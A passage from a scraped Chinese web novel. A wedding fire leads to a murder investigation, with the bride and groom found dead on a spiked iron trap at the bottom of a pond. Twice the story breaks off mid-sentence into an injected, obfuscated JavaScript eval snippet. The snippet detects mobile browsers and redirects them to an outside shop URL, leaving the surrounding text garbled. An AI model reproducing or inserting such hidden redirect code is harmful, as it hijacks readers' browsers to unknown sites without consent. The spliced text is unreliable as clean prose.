“哎嘿好!好啊好啊……” 男子高高兴兴地端着酒碗去找下一桌敬酒了。 乔天璇暗暗松了一口气。 既不是新郎的朋友,也不是新娘的朋友,却要突然空口无凭地说自己是他们其中一人的朋友,乔天璇实在是心虚。 不过好在他们这一桌人少,相对来说又比较安静,并不算太过显眼,在这之后便没有人再找过来敬酒了。 天边的晚霞彻底退去,取而代之的是深蓝色的夜空。 数不尽的大红灯笼和花灯发出红红黄黄的光,整个宴席亮得让人感觉很是温暖。 乔天璇埋头猛吃了没一会儿,身着婚服的新郎和新娘便登场了。 只见沈宝阳牵着披着红盖头的丽丫从宴席中间铺着的红毯走过,他的另一只手不断地挥舞着跟大伙儿打招呼,口中吹着轻佻的口哨。 沈宝阳样貌生得还算俊逸,就是稍微有些富态。 吃席的大伙儿连忙起身欢呼不止,各种各样的祝福语都朝着红毯上的两人蹦了出来。但要属最多的祝福语还得是“百年好合,早生贵子”。可喊这句话的人实在是太多了,听得乔天璇耳朵都要起茧子了。 许多仪式大概是白天的时候便已经完成,现在晚上就是走个过场而已。新郎和新娘走完红毯之后,新娘便待在婚房中等候,新郎则折返回来给大家敬酒。 当然,沈宝阳在来到乔天璇这桌敬酒时整个人都已经是醉醺醺的了,根本没问什么,只是兴奋地道了句“喝一个!”就仰头喝起了酒。 乔天璇几人自然也配合今日的新郎官,接二连三地道了句“喝!”,一碗酒便下了肚。 敬完这桌酒,沈宝阳满意地转身离开,走路大摇大摆,宽大的婚服袖子被他甩得来回翻飞。 花蕊道:“新郎看起来很开心嘛。” 乔天璇道:“能不开心嘛,他娶的人可是村花呢。” 花蕊惋惜道:“去年我们来了两次小泽渔村了,一次去程一次回程,都是匆匆经过,跟这村里认识的人不多,还没见过丽丫是什么模样,好奇死了。” “村花嘛,肯定漂亮好看就对了。”乔天璇夹起已经被她吃了大半个的鸡腿,把上面剩下的肉都给吃完了。 宴席继续进行着,几乎每桌都有一两个特别能说的人。这些说话声合在一起后变得吵吵嚷嚷的,让人根本没法分清哪句话是谁的声音。 宴席结束后,乔天璇一行人跟着吃完东西后还没来得及擦嘴就来寻他们了的海顺和淼淼,以及海顺的父母一路走到了他们家。 海顺的父母都很好客,进屋后,海顺的母亲还端了一碟子果品来招待几人。 “家主和夫人太客气了,今夜是我们多有打扰了。” 说着,乔天璇拿起碟子中的一个梨津津有味地啃了起来。 家主道:“家里的客房和阁楼刚好空着,不知五位如何安排?” 洛侠上前道:“家主,夫人,今夜我徒儿跟她朋友睡空的客房,我与另外两位兄台睡阁楼就行。” 家主道:“好,可以的。这是你们的安排,自然没有问题。” 夫人道:“我先带两位姑娘去客房歇息吧。” 海顺道:“那我就带哥哥们去阁楼。” “嗯,去吧。”家主点了点头。 “师父晚安!”乔天璇拉起花蕊的手,回头看了一眼洛侠便跟着夫人往客房的方向走。 “晚安,璇儿。”洛侠令人心安的声音从身后传来。 花蕊边走边回过半张脸瞅了瞅祝源,道:“书呆子,好好休息,明日还要赶路的。” 祝源道:“知道了,阿蕊也要好好休息。” 陈渊龙一言不发地看着乔天璇渐渐远去的背影,嘴唇微动,似是想要说些什么,但最终也只是重新合上了双唇,双拳不由自主地握紧,直至乔天璇的身影彻底消失在了他的视线中。 7. 小泽渔村(二) 乔天璇坐在窗户旁的椅子上,微微偏头看着窗外墨色夜空中的满天星斗,脑海里回想着方才宴席上身着婚服牵手走在红毯上的那对新人,不知为何突然想到了洛侠。 若是洛侠穿上那样的大红色婚服,肯定也很好看。 乔天璇啃了一口手中还没吃完的梨,目光落到了躺在榻上发呆的花蕊身上。 “阿蕊,你困了吗?”乔天璇咽下口中的梨,懒懒地问着。 “困啊。”花蕊有气无力地回应。 “那就睡觉吧。”乔天璇站起身来到了榻边。 花蕊打了个大大的哈欠,难过道:“吃得有点撑,睡不着。” “那就躺会儿吧。”乔天璇又咬了一口梨。 “不行,会胖的!”花蕊不知怎么的,突然就来了精神。她翻滚下榻,靠墙站着,眼神坚定,后背挺直如松柏。 “也是哦,不过累了一整日,吃多点应该不会胖多少的吧?”乔天璇几口把手中剩下的梨给吃完了,几步走到了房内的一张桌子前,将梨籽搁在了桌上的一个空盘子中,又几步回到榻上躺下,闭目养神。 花蕊无动于衷,依然靠墙站如松。 乔天璇本打算就这么等着,想看看花蕊会何时回榻上睡觉。 可是等了许久之后,乔天璇等来的却是花蕊在榻边来回快走的声音。 “不用这么夸张吧?阿蕊,你是不是有点担心过度了啊?”乔天璇一睁眼便看到榻边的少女正在快速地转圈疾走。 花蕊认真道:“天璇姐姐不用管我,我再走一刻钟就来休息!” “好吧。”乔天璇继续闭目养神。 反正她是累得不想动了,连手指头都不愿再动一下,更别说像花蕊那样疾走了。 大概是真的太困了,乔天璇这次闭目养神了没一会儿就伴着花蕊急促的脚步声睡着了过去。 不知睡了多久,乔天璇忽然被窗外传来的嘈杂声给吵醒了。 “怎么了啊……” 身旁传来花蕊迷迷糊糊的嘟囔声。 乔天璇转头看了一眼身旁,见花蕊也被吵醒了,正不耐烦地揉着自己的一只眼睛。 “我去看看。”乔天璇起身步至窗边,一下子就望见了不远处一间烧得通红且直冒黑烟的房子。 乔天璇半眯着的眼睛立马睁大了,惊道:“不好,村子里有一户人家走水了!” “什么?!”花蕊也清醒了过来。 “那个方向是……”乔天璇浑身一僵,惊惧道:“是沈宝阳家!” “啊?!那岂不是村花丽丫也在那儿!”花蕊顿时整个人都不安了起来。 方才听到的嘈杂声此时变得越来越大,村里面去救火的人也越来越多。 毕竟小泽渔村的房屋与房屋之间挨得近,若是走水,一个不小心就会殃及邻居。 “走!我们也去帮忙!”乔天璇转身快步朝房门走去。 “好!”花蕊当即跟上了乔天璇。 两人一出门就听到海顺的父母在堂中与陈渊龙几人担忧地交谈着。 “三位是客,怎能让客人去危险的地方?” “是啊,那里火势已经很大了,三位还是继续好好休息吧。” 洛侠道:“能够留宿,已然万分感激。那火猛烈,吹来的海风又大,若是不及时灭火,火舌怕是会烧及邻里,更有甚烧及全村。我们现在如若不去帮忙,实在是心有不安。” “没错,师父说得对。” 堂中众人未见其人先闻其声,全都转头望向了声音的源头处。 三更半夜,屋中只燃着一盏烛灯,发出的烛光并不算特别明亮。 乔天璇带着花蕊从阴影中走出,认真道:“我们也去帮忙。” 花蕊附和道:“对,帮忙!” 祝源道:“阿蕊,你就不要去了吧,很危险啊。” 花蕊不屑一顾道:“书呆子,你一点儿武功都没有,还好意思跟我说这句话?你要是觉得危险,大可留下,不去帮忙,安心在这儿休息睡觉做美梦。” “阿蕊,我不是这个意思……”祝源有些尴尬。 陈渊龙道:“的确危险。” 乔天璇道:“那你可以不去。” “……” 一时间,屋内的几人都有些尴尬。 “灭火救人要紧。”洛侠似乎完全没有在乎尴尬的气氛,头也不回地转身迈步出了去。 “师父等我!”乔天璇赶忙去追洛侠。 “天璇姐姐等我!”花蕊一刻不离地追着乔天璇。 “你们……唉!”祝源无奈地摇了摇头,只得跟上了花蕊。 陈渊龙一言不发,默默跟在了乔天璇的身后。 几人行在小泽渔村的村道上,见到了许多赶去沈宝阳家帮忙灭火的人。 村里的每一口井旁都排满了打水的人,一桶一桶的水被村民们接力送至沈宝阳家。 几人赶到沈宝阳家后,见着火的正是沈宝阳和丽丫的婚房。 乔天璇赶紧带头加入了负责将被村民送来的水拿去灭火的队伍中。 “师父,这个火势,新郎和新娘还能活着吗?” “只能看天意了。”洛侠用力朝大火燃烧着的地方泼了一桶水。 “这么大的火,大门也被火给占领了,想要活下去估计得跳窗逃走吧?”花蕊泼完了水,抬头望向了沈宝阳和丽丫的婚房。 沈家富有,房子有三层,也不知沈宝阳和丽丫现在在房中的哪一层。 “乐极生悲啊。”祝源惋惜地摇了摇头,将手中已经泼完水了的空桶递给前来拿桶去井中打水的村民手中。 陈渊龙默默地将手中桶里的水泼向了火。而后,其他人泼出去的水一层层覆盖着连片的火,艰难地将眼前通红的烈焰给一点一点压灭下去。 可这样的灭火方法还是太吃力了些。 “来了来了!水龙来了!” 洪亮的喊声突然从众人身后传来。 乔天璇回头一望,眼前一亮。 只见好几个村民正推着一个用来灭火的水龙快步往这边赶。 众人纷纷道:“让路让路!” 村民们和乔天璇几人立马给水龙让路。 操作水龙的几个村民将水龙放置好后,其中一个村民麻利地将水龙的水柜后方设置的吸水口处接入吸水管,另外几个村民则在水龙的杠杆两侧不停按压,把从水井里引来的水抽到容器中,再通过前方的喷嘴口喷射出去。 乔天璇见这水龙的喷嘴口喷出的水估计得有八十尺左右,刚好能喷中沈宝阳和丽丫的婚房中火势烧得最旺的地方。 如此一来,火灭得快了许多。 但小泽渔村的水龙只有一个,边边角角还在烧着的地方仍然需要众人用桶泼水的方法来灭火。 “天呐!沈宝阳抱着丽丫从窗户跳到屋外那个池塘里了!” “什么?!” “沈宝阳和丽丫都会水!不怕!” “可是现在大晚上的,还是得去救救!” “去、去救他俩!” 火光下,沈家的人一部分继续焦急地灭火,另一部分则着急忙慌地往池塘的方向赶去。 家仆们忐忑不安地互相对视着,留在此地灭火的沈家人怒道:“看什么看!快灭火!” 家仆们当即一惊,赶忙继续泼水灭火。 花蕊道:“果真跳窗了啊。” 乔天璇道:“跳池塘里了,那估计是能活下来的吧?” 祝源道:“希望能吧。” 好在灭火的人和水都足够多,两刻钟后,燃烧的婚房终于被彻底扑灭了。 可余下的全都是被烧焦的断壁残垣,根本没法再住人了。 “沈宝阳和丽丫呢?刚刚不是听人说他们跳池塘里了吗?救上来了吗?”一个村民放下了手中的空桶,满脸疲惫。 其中一个家仆也疑惑道:“对啊,二少爷和他夫人还活着吗?” “谁知道啊?”另一个村民望向了池塘的方向:“要不去池塘看看?” “走,去池塘!”放下了手中空桶的村民满心好奇,赶忙快步往池塘的方向走去。 众人也想知道沈宝阳和丽丫的情况如何了,都朝池塘的方向走了去。 “我们在这边灭火灭了这么久,池塘那边还没有传来消息,该不会是淹死了吧?”花蕊暗声嘀嘀咕咕。 乔天璇道:“去看看池塘那边的情况再说。” 火被扑灭了,四下除了被人提着的灯笼发出来的光亮,其余地方都暗得很。 此时,提着灯笼的人都往池塘的方向去了,乔天璇几人便也随着众人一同前往池塘的方向。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025582|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈家的池塘并不算很大,就建在沈宝阳与丽丫和婚房旁。 池塘边有一座小亭子,沈家家主这会儿正站在小亭子中,拧着眉头盯着水面。 沈家众人则零零散散围在池塘边,小声议论着大婚和走水的事情。 忽闻村民和乔天璇一行人赶来的声音,沈家家主抬眸喊道:“你们谁能够下水去把沈宝阳和丽丫给救上来,赏黄金十两!” “黄金十两?!” “这不得发财了!” “可是刚刚我们都已经灭了那么久的火了,沈宝阳和丽丫还没被救上来吗?” “啊?那肯定已经被淹死了嘛!” “没事儿,捞两具尸体换得十两黄金,值了!” 一个村民举起手,信心满满道:“我来!” “好。”沈家家主点了点头。 举手的村民缓缓走向池塘边。 月光逐渐从乌云后现出,照在了池塘的水面上。 一瞬间,走到了池塘边正准备往下跳的村民忽然定住了脚步。 不止是他,这一刻在场的所有人都安静了下来。 月光下,池塘的水面上泛着一大片的深红色,不用多想都能知道那是人血。 “怎么会有这么大片的血?” “溺死的话一般情况下来说不会出血的吧?” “该不会是水下面有什么很危险的东西重伤了沈宝阳和丽丫?” “难不成是水怪?” 闻言,乔天璇望向了洛侠,小声道:“师父,有水怪在池塘中吗?” 洛侠摇了摇头,低声道:“没有。” 乔天璇猜测道:“那应该是池塘底下有条很大的鱼?” 洛侠摇了摇头,低声道:“这种小池塘养不出特别大的鱼。” 方才还差一步就要下水去捞沈宝阳和丽丫尸体的村民猛地转头看向了小亭子中站着的沈家家主,惊恐道:“十两黄金我不要了!我不下去了!” 围在池塘边的众人都下意识往后退去,不敢再太过靠近池塘。 “怎么回事?!”沈家家主看向了身旁的管家,怒目圆睁。 管家的脸色都吓得发青了,支支吾吾道:“我不知道啊老爷,这、这我怎么会知道啊?定是……对了!定是有邪祟!没错,邪祟!池塘里面肯定是有邪祟!” “邪祟?怎么可能突然就有邪祟了?”沈家家主认真道:“咱家这池塘从来就没有淹死过人,而且也不深,顶多五尺而已,一个成年男子站在里面,水面大概只会过脖子或下巴罢了。” 一个村民道:“那刚刚你们家的人在这里待了那么久,怎么就没有一个人下去救沈宝阳和丽丫呢?” 此话一出,沈家人都沉默了。 方才提出疑问的村民道:“啧,他们家这么有钱,他们家的人当然也惜命得很,怎么可能会轻易去救人?而且还是去水里救人,多危险啊?” 另一个村民道:“说得在理。要不然人死了,钱还没花完,岂不是会很不甘心?” “咳咳!”沈家家主看向了众人,严肃道:“此事蹊跷,许是池塘中真的有邪祟作怪,我们沈家都是凡人,皆无法与其对抗,自是要万分小心。我知在场的各位有许多是为了来参加我儿的婚事远道而来的人,方才灭火一事多有你们相助,实在是感激不尽。就是不知其中是否有灵师?能否探测出此事是否是邪祟作怪?” “这……” 众人被沈家家主的这番话搞得不知该如何反驳。 “不过说到灵师……”一个村民忽然转头看向了乔天璇,兴奋道:“我记起来了,我就说怎么感觉一年前好像见过你两面,你就是三侠行客中的灵师云天!” 霎时间,所有人的目光都集中到了乔天璇的身上。 乔天璇登时一愣,心中略有一丝慌乱,只好承认道:“啊对,我是灵师。” 下一刻,陈渊龙和洛侠齐齐挡在了乔天璇身前,如同一黑一白两片忽地合到一起了的窗帘。 乔天璇突然被两个男人的身躯挡住了前方视线,一下子没有反应过来。 陈渊龙眼神冷漠地扫视着一大片朝着乔天璇投来的目光。 顿时,池塘边的气氛仿佛跌落到了冰点。 洛侠看着沈家家主,语气平和道:“我是她师父,让我来。” 8. 小泽渔村(三) 本来钱不到位的事情乔天璇也没兴致干,洛侠此话正合乔天璇意。 沈家家主上下打量了洛侠一番,客气道:“原来是云天的师父,幸会幸会。那就有劳大师了。” “不客气。”洛侠缓缓步至池塘边,低头看向了水面泛着深红的池塘。 池塘边众人的目光此刻齐齐落到了洛侠的身上,所有人都在紧张地等待洛侠接下来会说些什么。 洛侠观察了池塘片刻,双指从袖中夹出一张符抛至池塘。 三息后,没入池塘中的符忽地从水中透出一道转瞬即逝的红光。 顿时,池塘边围着的众人仿佛全都被定住了身子。 全场鸦雀无声。 洛侠抬头对沈家家主道:“这水中并无邪祟,但沈宝阳和丽丫的确死在了这下面,且死得相当痛苦。若是想要知道这两人的死因,就看沈家家主能不能下令让人将池塘给弄干了。” “弄!!!”沈家家主当即望向了家仆们,厉声道:“你们现在立刻去将池塘给弄干!不管你们是一桶水一桶水舀干,还是用什么办法将水引到别处,总之必须得将池塘弄干!快!!!” “是……是!”家仆们回过神来,哪儿敢再干站着,连忙去拿桶来舀池塘中的水。 村民们也是满心好奇,并没有离去,都想要知道沈宝阳和丽丫在这池塘底下是怎么个死法。 家仆们着急忙慌却也井然有序地舀着池塘中的水,将一桶一桶的水倒入了方才几个家仆不知是从沈家哪处搬来的一个空大缸。 乔天璇忍不住嘀咕:“这得舀水舀到什么时候啊?” 花蕊道:“我估计得到天亮才行吧?” 沈家家主亲自守在边上,家仆们不敢有一丝怠慢,舀水的动作自然也快。 舀到后来,水面下降得太低,家仆们手中的桶够不着水了,便去寻了个长长的竹梯放入池塘中,家仆们挨个走下竹梯去舀池塘中的水。 池塘毕竟不算很大,也如沈家家主所说那般,确实就是五尺的高度,家仆们又找来了几个空大缸装水,竟是赶在日出之前就把池塘中的水差不多都舀进了大缸。 此时,池塘底下虽还有些许池水,但已经能够看到沈宝阳和丽丫的尸体了。 提着灯笼的几个村民凑到了池塘边,灯笼发出的光照亮了池塘底下的一切。 乔天璇也凑近了去,心中顿时一惊。 眼前的画面令人不寒而栗。 池塘底下居然竖着许多锋利的铁刃! 沈宝阳和丽丫就是被其中的许多把铁刃给刺穿了身体,流出的鲜血由下而上泛至水面。 看来这便是沈宝阳和丽丫没有跳水逃生成功的原因。 可池塘底下的这些铁刃又是谁插的呢? “啊——” 只听一声惨叫,所有人都朝惨叫声发出的地方望了过去。 一个家仆慌张道:“夫人晕倒了!快扶夫人去休息!” 原来是沈家夫人被眼前的画面给吓晕了。 看着沈家夫人被几个家仆扶去休息了,洛侠道:“沈家家主,当初建这个池塘的时候,底下的这些铁刃是你让人弄的吗?” 沈家家主面色沉重地摇了摇头:“不是我,这根本就是不可能的事情,定是有歹人作怪。” “当初将水引至池塘中时沈家家主定是在的吧?”洛侠看向了沈家家主。 沈家家主道:“自然是在的。” 洛侠道:“那就奇怪了,如果在的话,那沈家家主定是亲眼看着池塘被水一点一点填满的。池塘底下情况如何,沈家家主想必再清楚不过了。” 沈家家主焦躁道:“是!我的确再清楚不过!可我也实在是不知如今池塘底下突然出现的这些铁刃是怎么一回事!” 洛侠道:“沈家家主不妨先等等,待人将池塘底下还剩的水全都给舀出来,这样也能够看清楚这些铁刃到底是怎么插在水底下的。” 沈家家主当即对着还在用桶舀水的家仆们大呵道:“动作快点!” “是!” 家仆们赶紧加快了动作,即便一个个都已面色发白,也不知是被累的还是被吓的。 天色逐渐亮了起来,池塘底下的情况也越来越清晰。 村里鸡鸣声四起,清晨从海边吹到村里的风带着一丝凉意。 随着池塘底下还剩着的水被家仆们一桶一桶舀走,围在池塘边的众人也慢慢发现了这些铁刃是如何竖在池塘底下的。 只见一件巨大的圆形铁器逐渐从越来越浅的水中露出。 那些竖着的铁刃正是插在这件圆形铁器之上。 待池塘底下的水被家仆们彻底舀干之后,众人皆是一脸震惊。 这件静静躺在池塘底部的圆形铁器形状酷似蛛网。“蛛网”中的“蛛丝”与“蛛丝”在每一个交叉点上都插着一把铁刃,组成了一个仅是看着便会令人心生寒意的铁杀器。 “是谁将这东西放在此处的?”沈家家主死死盯着池塘底下的铁杀器,满眼不可置信。 洛侠走近了沈家家主,意味深长道:“沈家家主,莫不是家中有想要了你二儿子性命的内奸?” 沈家家主眉头拧得死紧,思索道:“我的长子在京城做官,不在家。平日里家中除了我夫人和宝阳,其余的人全都是家仆。我夫人自然不可能会害死自己的儿子,那就得从这些家仆中来找了。” 乔天璇怀疑道:“可是家仆害死自己的少主能有什么好处吗?” “……” “徒儿?”洛侠忽地转头看向了跟在自己身后的乔天璇。 陈渊龙则一直护在乔天璇身旁,警惕着每一个企图靠近乔天璇的村民。 沈家家主扫视着家仆们的目光忽地顿住,转而看向了乔天璇。 “说得对啊,灵师云天,你身为三侠行客,凭你的直觉,你觉得凶手会是谁呢?” 乔天璇回想起海顺之前说过丽丫与铁牛哥是青梅竹马,现在丽丫却要嫁给沈宝阳了的事情,不由得有些怀疑凶手就是海顺口中的铁牛哥。 或许铁牛哥因爱生恨了。与其眼睁睁看着自己的青梅嫁给别人,还不如亲手毁了青梅和青梅要嫁的人。 但即便乔天璇如此想,铁牛哥在她这儿也只是有嫌疑而已。 万万不可随便冤枉人。 乔天璇道:“小泽渔村中有铁匠吗?” 既然能制造出现在正静躺在池塘底下的这种形状酷似蛛网的铁杀器,那必然会是个手艺精巧的铁匠。 “铁匠?嗯……倒是有一个。”沈家家主扫视了一下围在池塘边的众人,有些意外:“没来?” 乔天璇道:“铁匠没来?” “对。”沈家家主望向了乔天璇:“你怀疑池塘中的这个铁器是铁匠造出来的?” 乔天璇道:“没错。” 沈家家主点头道:“的确,灵师云天这么一说,我不禁也有些怀疑了。” 乔天璇道:“村中那铁匠是谁?住哪儿?” 沈家家主道:“铁牛,就住在村尾的倒数第三间屋子。” 闻言,乔天璇猛地一愣,铁牛在她心中的嫌疑愈发大了起来。 既是小泽渔村中唯一的铁匠,又是丽丫的竹马,可丽丫最后却嫁给了沈宝阳,铁牛恐怕就是因此事心中生恨,便用他那铁杀器杀了沈宝阳和丽丫的凶手! “铁牛是凶手的可能性很大。”乔天璇靠近了沈家家主,说话的声音小了许多。 “那我现在就去会会他。”沈家家主眼底一暗,当机立断出发去铁牛家。 村民们看沈家家仆们舀了半个晚上的泡尸水,日头一出来,困意也随之上涌。见沈家家主带着一个贴身家仆离开了,他们便纷纷解散回家休息去了。 乔天璇心中好奇凶手到底会不会是铁牛,二话不说直接跟上了沈家家主。 其余四人自然也随着乔天璇一起。 小泽渔村不大,一行人很快就来到了村尾倒数第三间屋子外。 铁匠家的第一层是铁铺子。 清晨的铁铺子大开着门,铺子内不断传出锻造铁器的声音。 沈家家主带头大步走入铁铺子中。 一行人的脚步声并没有让此刻正在打铁的铁牛回头瞧上一眼。 “客人想要打什么?” 铁牛的声音并不冷漠,反而有几分热情好客。 只是铁牛说话时并没有看人,而是继续看着自己手中打着的铁。 “你会锻造大型捕兽器吗?”沈家家主语气中并未露出半分怒气。 铁牛道:“会,要抓什么样的野兽?” 沈家家主四下环顾了一下铁铺子,道:“大猩猩。” 铁牛道:“沈家家主好兴致。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025583|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 沈家家主道:“今日一大早就开始打铁了,铁牛兄也是好兴致啊。” 铁牛道:“那还得归功于昨日你家二少爷婚宴的菜品实在美味,吃完之后令人心旷神怡,睡觉时美梦都做得格外香甜,自然今日一早便精神奕奕。” 沈家家主一愣,道:“如此说来,你昨夜睡得当真是踏实。” 铁牛道:“嗯呐。” “……” “算了,那大猩猩我突然不想捕了。”沈家家主眼底闪过一丝失望和不甘,当即转身离开了铁铺子的大门。 乔天璇知道沈家家主在听到铁牛说的话后定是失望极了。 既然铁牛昨夜吃了晚宴之后就回家睡觉了,今日一早还精神奕奕地打铁,一点儿困意都没有,那他是杀害沈宝阳和丽丫的嫌疑人身份就坐不实了。 可这样一来,嫌疑人又会是谁呢? “对了,铁牛兄,最近有谁来找过你打造大型捕兽器吗?”沈家家主忽地在大门口回过头问铁牛。 铁牛依然在一下一下地打着手中的铁,心平气和道:“有。” 沈家家主道:“是谁?” 铁牛神色一顿,似是在回忆:“好像是……丽丫的妹妹。” “她妹妹?”沈家家主像是突然想到了什么似的,转头就走。 “去哪儿?”乔天璇连忙跟上。 “去丽丫家,找她妹妹。”沈家家主语气变得阴沉,脚下步子越来越快。 “你怀疑新娘的妹妹?”乔天璇赶到了沈家家主身旁。 “对,丽丫的妹妹相貌平平,完全比不上她姐姐。她怕不是因妒生恨,记恨自己的村花姐姐美貌,又记恨自己的姐姐能够嫁给我二儿子,这才下此杀手!”沈家家主说得咬牙切齿。 乔天璇道:“可一个寻常女子如何能搬得动那铁杀器?” 沈家家主恶狠狠道:“许是雇了人。若真是如此,那我就把那些被她所雇的人都给杀了来为我二儿子和丽丫报仇!” “可哪儿会有这般害自己姐姐和姐夫的妹妹啊?”花蕊赶到了沈家家主的另一旁,满脸不解。 “我要是没有猜错,你是三侠行客中的玉心吧?”沈家家主看向了花蕊。 “对。”花蕊点了点头。 沈家家主叹了口气,无奈道:“你可真是天真,天底下你想象不到的人和事多了去了。别说杀自己的姐姐和姐夫了,就连弑父弑母的人都有,甚至还有亲手杀了自己孩子的人!” “这……”花蕊一时语塞。 “玉心,等我们到了丽丫家再说吧。或许丽丫的确不是凶手,但这也只是或许而已。” “好,听你的。”花蕊不再质问。 一行人疾步走着,一路来到了丽丫家。 丽丫家距离沈家挺远,也不知这家人昨夜听没听到沈家走水和灭火的声音。 眼前的房子普普通通,完全比不上沈家。 如此看来,沈宝阳完全就是冲着丽丫的美貌才娶丽丫的。 沈家家主上前叩了叩门,道:“有人在家吗?” “有——” 随着懒洋洋的答应声,一个女子慢悠悠地来开了门。 “早啊,沈……”女子大概是听出来沈家家主的声音了,一开门便打招呼。 可沈家家主一见这女子就气势汹汹地逼近问道:“二丫!你昨夜睡得可好?!” 二丫浑身一颤,惊惧道:“多、多谢沈伯关心,咳……我最近身子不适,大多时间都卧病在床。昨夜我参加完婚宴之后就回来服药睡下了,只是,咳……做了噩梦。” “哦?那是什么样的恶梦啊?”沈家家主盯着二丫追问。 二丫虽相貌平平,但也不丑,惊惧之中带着几分楚楚可怜。 “我梦到……我姐姐遭遇不测,浑身是血,血肉模糊,一直在抱着我哭,说她很疼。”二丫害怕地望着沈家家主,脸色惨白,口中喃喃道:“不是真的吧?噩梦都是和现实相反的吧?对不对?沈伯,我姐姐在你家一定没事的对吧?” 乔天璇心中一沉。 丽丫真的已经死了。 众人一时间都陷入了沉默。 眼前这丽丫的妹妹最近身子不好,且她仅是做噩梦梦到自己姐姐遭遇不测都会这般惊惧,害怕自己姐姐真的遭遇不测,她又怎会有要害自己姐姐的想法呢? 9. 小泽渔村(四) “你姐姐没事。”沈家家主稍微平静了些许,对二丫说了个谎。 “那就好!”二丫长长松了一口气。 见二丫如此表现,沈家家主也怀疑自己是不是想错了,二丫其实并不是凶手。 沈家家主试探着问道:“你最近是不是去铁牛那儿让他打造了一个大型捕兽器?” 二丫道:“嗯,是。不过那不该叫大型捕兽器,那只是一个大铁笼子罢了。” “大铁笼子?”沈家家主有些疑惑。 “你们要来看吗?”二丫的目光分别掠过了乔天璇一行人,最后落在了沈家家主的身上。 沈家家主毫不犹豫道:“看。” “随我来。”二丫靠到门框旁,欢迎众人进门。 一行人先后进了门,来到了院内。 院子不大,院内的东西也少。二丫所说的大铁笼子正放在院内的一处角落,里面关着一只大鸵鸟。 二丫道:“这是我爹去打猎时偶然发现抓回来的,当时它受伤了,奄奄一息。我爹怕它跑了,就让我去叫铁牛弄个大铁笼子关着它。等它的伤好完了,就去把它卖了,补贴家用。” “运气不错嘛,居然能猎得到鸵鸟。”沈家家主上下打量了一下笼内的大鸵鸟。 “定是因为姐姐嫁到了沈伯家,所以……咳咳,托了沈伯家的富贵福吧。”二丫不好意思地说着,由于身子不好,她说着说着便忍不住咳嗽。 听了二丫的话,一行人的心都不安了起来。 二丫的姐姐要是没嫁,说不定还不会死。 丽丫一天富贵日子都还没来得及过就惨死在了所嫁之人家中的池塘底下。 沈家家主低头拧了拧鼻梁,闭眼沉思了片刻。 “怎么了?沈伯?”二丫有些担心。 “无事。”沈家家主转身便往门口走去。 “沈伯不进屋坐坐吗?”二丫追了沈家家主几步。 “不必了,我突然想到还有事情要办,有空再来拜访。”沈家家主头也不回地离了去。 见沈家家主走了,二丫整个人明显放松了许多。 乔天璇一下子就察觉到了二丫的状态,她走到了二丫身旁,在二丫耳边小声道:“你怕他?” 二丫登时一惊。 “你是谁?你们是谁?” “我是三侠行客中的云天。”乔天璇又伸手分别指向了花蕊、洛侠、祝源、陈渊龙,道:“她是三侠行客中的玉心,他是我的师父,他是我的朋友,他是……也是我的一个朋友。” 被乔天璇指着的陈渊龙听到乔天璇如此说他与她的关系,瞳孔忽地缩了一下,眼底泛起的情绪既似惊疑,又似不甘。 “哦!三侠行客!这个我听过!”二丫突然兴奋了起来:“我知道你们在江湖上流传的故事,你们之前还来过我们小泽渔村的!” “对,没错。”乔天璇笑着点了点头。 二丫好奇道:“你们也是来参加我姐姐的婚宴的吗?” “嗯。”乔天璇听二丫提起了这事,便由此赶紧进入正题:“二丫,我听村里海顺那小孩说你姐姐与铁牛哥是青梅竹马,可你姐姐最后怎么嫁给了沈宝阳啊?” 听到这个问题,二丫顿时浑身一僵。 她快步去关紧了大门,随后转身回到了乔天璇身前,认真道:“灵师,你真的想知道?” 乔天璇道:“当然。” 二丫警觉道:“可我为何要告诉你们?” 乔天璇心道二丫还挺机警的,便实话实说:“因为你姐姐昨夜其实已经死在你沈伯家的池塘底下了。” “什么?!”二丫难以置信。 乔天璇道:“昨夜你姐姐和姐夫的婚房走水,大家听到声音之后就去帮忙灭火了,也不知你昨夜有没有听到声音。他们两人为了逃命跳窗,落入窗外院子中的池塘里。可池塘底下有一个不知是谁在何时放置的铁杀器,上面满是锋利的铁刃。你的姐姐和姐夫就这么惨死在了那些铁刃上。沈家家主之所以今日一大早来你家,一见到你就那么咄咄逼人,还问你铁器的事情,其实是因为他怀疑你就是凶手。” 闻言,二丫脸色惨白,满眼不可置信地摇头道:“不可能……这不可能……不可能的……” 乔天璇道:“二丫,你要是能说说你姐姐最后嫁给了沈宝阳的原因,说不定我们就能从其中找到追凶的线索。” “不可能!咳咳……不可能!”二丫突然大步跨向了大门。 “你不信我说的?”乔天璇连忙追上。 “我要亲眼去看看!”二丫踉踉跄跄地走了出去。 “怎么回事啊?” 屋内走出一对夫妇,其中的男人看着院子里的众人,满眼疑惑。 二丫回头望向了那对夫妇,道:“爹,娘,院子里的这些侠客说我姐姐昨夜死在沈伯家了。” “啊?死了?”夫妇二人不解地望向了乔天璇一行人。 乔天璇道:“我乃三侠行客之一云天,在这种事情上怎会说谎?不信的话我们就一起去沈宝阳家看看好了,眼见为实。” “走。”夫妇二人点了点头。 于是几人齐齐往沈宝阳家赶去,一路上二丫时不时咳嗽两声,脸色愈发难看。 